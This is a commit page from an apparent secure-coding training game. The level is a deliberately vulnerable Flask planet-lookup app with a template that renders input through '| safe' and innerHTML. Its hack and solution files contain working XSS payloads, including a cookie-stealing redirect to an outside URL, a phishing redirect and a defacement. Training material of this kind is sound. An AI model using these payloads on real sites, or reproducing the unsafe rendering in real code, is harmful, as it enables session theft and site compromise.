Skip to content

Commit

Permalink
Resolving merge conflicts with S2/L3
Browse files Browse the repository at this point in the history
  • Loading branch information
jkcso committed Jan 7, 2024
1 parent 1c449f9 commit 5ab3571
Show file tree
Hide file tree
Showing 7 changed files with 97 additions and 90 deletions.
44 changes: 12 additions & 32 deletions Season-2/Level-3/code.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,42 +36,22 @@
def index():
if request.method == 'POST':
planet = request.form.get('planet')
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

elif sanitized_planet:
details = get_planet_info(sanitized_planet)

if planet:
return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
else:
return '<h2>Please enter a planet name.</h2>'

return render_template('index.html')

@app.route('/getPlanetInfo', methods=['GET'])
def get_planet_info_endpoint():
planet = request.args.get('planet')
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

elif sanitized_planet:
details = get_planet_info(sanitized_planet)

if planet:
return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')

if sanitized_planet:
if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

return render_template('details.html',
planet=sanitized_planet,
info=get_planet_info(sanitized_planet))
else:
return '<h2>Please enter a planet name.</h2>'

return render_template('index.html')

def get_planet_info(planet):
if planet in planet_data:
return planet_data[planet]
else:
return f'No information found for {planet}.'
return planet_data.get(planet, 'Unknown planet.')

if __name__ == '__main__':
app.run()
30 changes: 0 additions & 30 deletions Season-2/Level-3/hack.py

This file was deleted.

8 changes: 8 additions & 0 deletions Season-2/Level-3/hack.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
Simulate an attack by following these steps:

1. Start the application as instructed in 'code.py'
2. Enter the following in the planet input field:
&ltimg src='x' onerror='alert(1)'&gt

The application should return a message stating that such a
planet is unknown to the system, without showing an alert box
2 changes: 1 addition & 1 deletion Season-2/Level-3/hint.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
How does the site handle user input before displaying it?
How does the site handle user input before and after displaying it?
47 changes: 25 additions & 22 deletions Season-2/Level-3/solution.txt
Original file line number Diff line number Diff line change
Expand Up @@ -6,38 +6,41 @@ This code is vulnerable to Cross-Site Scripting (XSS).
Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/

Back to our level in the Secure Code Game, the vulnerable functions are:
- get_planet_info()
- get_planet_info_endpoint()
Why the application is vulnerable to XSS?
It seems that the user input is properly sanitized, as shown below:

Why are they vulnerable?
planet = request.form.get('planet')
sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')

Examine closely the following:
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

In this regex, the characters
<, >, (, ), {, }, [, and ]
are explicitly removed, but whitespace characters are not removed.

Then, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
However, other tags, such as the 'img' tag, can still used to exploit a XSS bug as follows:
What if all HTML's start and end tags were pruned away, what could go wrong in that case?
Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:

Exploit:
<<img src="x" onerror="alert(1)">>
&ltimg src="x" onerror="alert(1)"&gt

Explanation:
In this payload, the double angle brackets, '<<' and '>>', will not be matched by the regex,
so the payload remains unaffected, and the XSS attack will execute successfully.
With this payload, the XSS attack will execute successfully, since it will force the browser to open an
alert dialog box. There are several reasons why this is possible, as explained below:

1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function
invocation in JavaScript.
2) The sanitization doesn't touch the &lt and &gt special entities.
3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML.

How can we fix this?
We can use the function 'escape', which is a built-in function inside the Markup module of Flask.

1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped.
2) Don't reinvent the wheel by coming up with your own escaping facility.
You can use the function 'escape', which is a built-in function inside the markup module used by Flask.
This function helps to escape special characters in the input, preventing them from being executed
as HTML or JavaScript.

Example:
from flask import Flask, request, render_template, jsonify, escape
from markupsafe import escape

return f'<h2>Planet Details:</h2><p>{escape(details)}</p>'
sanitized_planet = escape(planet)

What else can XSS do?
- Steal cookies and session information
Expand All @@ -55,11 +58,11 @@ How to prevent XSS?
Here are some exploit examples:

- Redirect to phishing page using XSS:
<<img src="x" onerror="window.location.href = 'https://google.com';">>
&ltimg src="x" onerror="window.location.href = 'https://google.com';"&gt

- Get cookies:
<<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">>
&ltimg src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"&gt

- Modify website content:
You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
<<img src="x" onerror="document.body.innerHTML = '<h1>Website is hacked</h1>';">>
&ltimg src="x" onerror="document.body.innerHTML = 'Website is hacked';"&gt
31 changes: 31 additions & 0 deletions Season-2/Level-3/templates/details.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
<!DOCTYPE html>
<html>

<head>
<title>Planet Details</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
background-color: #121212;
color: #ffffff;
}

h2 {
text-align: center;
margin-top: 30px;
}
</style>
</head>

<body>
<h2>Planet Details</h2>
<p>Planet name: <span id="name">{{ planet | safe }}</span></p>
<p>Planet info: {{ info | safe }}</p>
<br/>
<p>Search in Google for more information about the planet: <span id="planet"/></p>
<script>
document.getElementById("planet").innerHTML = document.getElementById("name").textContent;
</script>
</body>

</html>
25 changes: 20 additions & 5 deletions Season-2/Level-3/tests.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,6 @@

from code import app, get_planet_info
import unittest
from flask import Flask
from flask_testing import TestCase

class MyTestCase(TestCase):
Expand All @@ -28,7 +27,7 @@ def test_index_route(self):

def test_get_planet_info_invalid_planet(self):
planet = 'Pluto'
expected_info = 'No information found for Pluto.'
expected_info = 'Unknown planet.'
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

Expand All @@ -38,11 +37,27 @@ def test_get_planet_info_valid_planet(self):
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

def test_get_planet_info_endpoint_valid_planet(self):
def test_index_valid_planet(self):
planet = 'Venus'
response = self.client.get(f'/getPlanetInfo?planet={planet}')
response = self.client.post('/', data={'planet': planet})
self.assert200(response)
self.assertEqual(response.data.decode(), f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>')
self.assertEqual(response.data.decode()[:15], '<!DOCTYPE html>')

def test_index_missing_planet(self):
response = self.client.post('/')
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Please enter a planet name.</h2>')

def test_index_empty_planet(self):
response = self.client.post('/', data={'planet': ''})
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Please enter a planet name.</h2>')

def test_index_active_content_planet(self):
planet = "<script ...>"
response = self.client.post('/', data={'planet': planet})
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Blocked</h2></p>')

if __name__ == '__main__':
unittest.main()

0 comments on commit 5ab3571

Please sign in to comment.